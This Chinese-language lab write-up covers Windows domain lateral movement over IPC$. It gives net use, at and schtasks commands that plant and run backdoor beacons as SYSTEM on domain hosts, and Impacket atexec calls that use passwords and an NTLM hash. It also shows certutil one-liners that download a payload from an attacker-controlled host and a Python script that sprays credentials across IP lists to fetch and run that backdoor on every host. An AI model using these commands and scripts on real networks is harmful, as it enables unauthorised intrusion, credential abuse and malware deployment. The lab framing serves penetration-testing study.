环境部署
案例一: 域横向移动-IPC-命令版-at&schtasks
首先是通过外网web访问到win2008,获得了win2008的权限,这一步不做演示
因为里面的主机都不出网,所以只能利用win2008进行正向或者反向连接
信息收集
域内用户信息,以及域控名
收集域控ip
现在知道了域内的网段,探测存活主机,一般主机都会默认开启IPC$,ipc的端口是135,这里利用
ipc建立隧道进行文件上传
目标列表可以查看存活主机
这里抓取hash以及明文密码,需要提权到system
提权有很多种方法,可以看这篇文章
第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客获得了system权限利用system权限去抓取hash
这里其实直接有了域控的账号密码,是因为我用管理员身份执行了一些操作
win7上线
这里不知道30的是win7还是别的主机
首先ipc建立隧道,这里的思路就是利用刚才抓取的账号密码,一个一个试,可能别人用他的账号登录过这台主机,那么他的账号密码就会记录下来,这里我刚搭建的环境,没登陆过,假设账号密码已知^_^,或者你要是知道了域控管理员的账号直接利用管理员账号登录
shell net use \\目标ip\ipc$ "域控密码或者主机密码" /user:"域控账号或者主机账号"
shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na
实验过程中发现该隧道如果windows防火墙打开的话无法建立连接
隧道建立完成后需要上传木马文件,先尝试正向连接
生成后门
先把生成的木马上传到win2008
注意上传文件的时候至少需要用到管理员权限(admin或system)
添加计时任务,win2012之前的主机用at命令就可以,之后的主机用schetasks
shell at \\主机ip 时间 命令
shell at \\192.168.3.30 10.40 c:\2.exe
但是win7这里经过实验发现还是使用schetasks,at命令更加简单,一句话就可以,这里就不复现了
#创建任务beacon
schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F
#运行beacon
schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i
命令参数
1.schtasks /change #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)
2.schtasks /create #计划新任务
3.schtasks /delete #删除计划任务
4.schtasks /end #停止任务启动的程序
5.schtasks /query #显示计划在计算机上运行的任务
6.schtasks /run #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
#/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
/sc onlogon 用户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
参数:
/sc 计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn 计划任务名称,后续查询、修改、删除、执行时使用
/tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp 运行任务的用户账户密码
/mo 指定任务在计划类型中的运行间隔
/d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m 指定任务在某个月运行,只适用于MONTHLY类型。
/i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it 只在用户登录时运行
/z 在任务计划完成后删除任务计划
/f 在创建任务时如果任务已存在不显示警告
/RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F 如果指定的任务已经存在,则强制创建任务并抑制警告。
创建并且运行
然后主动进行连接
因为我运行的账号密码是系统的账号密码,所以获得的是system权限
如果不知道系统账户的用户名密码 ,所以还需要得知道主机的账号密码。感觉真实环境肯定更难一点......
win7上线后可以进一步抓取明文密码和hash,进一步信息收集
正向上线完尝试反向上线
生成木马上传
创建计划任务并且运行
上线从这幅图里面可以看出来win7有一台是正向,有一台是反向
win2019上线
这里win2019已经改为192.168.3.50,win2019因为系统问题所以很多得需要更高的权限去执行
win2019采用反向上线
生成监听器
生成木马,上传到win7
上传前看一下当前路径在哪里
创建ipc隧道,这里上传的时候发现这里创建隧道已经不能再用域用户了,要么使用这台主机的管理员用户,要么使用域的管理员用户,可能是系统的安全策略做了提升
shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator
然后创建计时任务,因为系统安全性的提高需要带上账号密码去创建计时任务
shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F
然后运行
成功上线
案例二:域横向移动-IPC-插件版-CS&LSTARS
案例三: 域横向移动-IPC-套件版-Impacket-atexec
1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows
exe版本上传到win2019(50)去探测win2012(40)
atexec.exe 域名/账号:密码@ip "命令"
atexec.exe ./本地账号:密码@ip "命令"
atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"
域用户
本地用户
它可以执行命令那么可以尝试用它进行上线,首先思路是已经拿到了webserver,然后上传木马文件到了webserver
让主机反向连接webserver
利用这条命令远程下载,让win2012进行上线,注意这里的ip是win2012的ip需要下载到自己的主机,通过win2008让win2012执行命令然后下载
python
atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"
默认会下载到c:/windows/system32/下
执行,成功上线
案例四: 域横向移动-IPC-代理版-Socks&Py&atexec
exe有个问题就是文件太大了,上传py文件会好一点,但是python文件目标主机也不一定有python环境,最好的方式是建立节点在自己主机上运行。
代理转发
设置代理节点
直接在kali上运行,通过kali连接win2008给自己的节点,去连接win2012
在kali本地利用python文件远程下载木马
记得开启win2008的监听
kali本地执行木马
成功上线
然后可以写python文件批量进行连接思路就是,把收集到的账号,密码,以及ip全部写成字典,然后,批量用atexec.py上传木马,然后运行
win2008只获得了这几个密码
前面通过端口扫描获得的ip
python
import os
# 使用列表来存储密码,确保每个密码都是独立的元素
passwords = [
'123.com',
]
# IP 地址集合
ips = {
'192.168.3.20',
'192.168.3.30',
'192.168.3.40',
'192.168.3.50'
}
# 用户名集合
users = {
'Administrator',
'jie'
}
def xz(): # 下载后门
for ip in ips:
for user in users:
for password in passwords:
# 注意修正了路径和用户名的问题
exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'
exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'
print('--->' + exec1 + '<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)
def zx(): # 执行后门
for ip in ips:
for user in users:
for password in passwords:
# 注意修正了路径和用户名的问题
exec1 = f'python atexec.py ./administrator:{password}@{ip} "zx.exe"'
exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "zx.exe"'
print('--->' + exec1 + '<---')
print('--->' + exec2 + '<---')
os.system(exec1)
os.system(exec2)
if __name__ == '__main__':
xz()
zx()
通过代理执行这个文件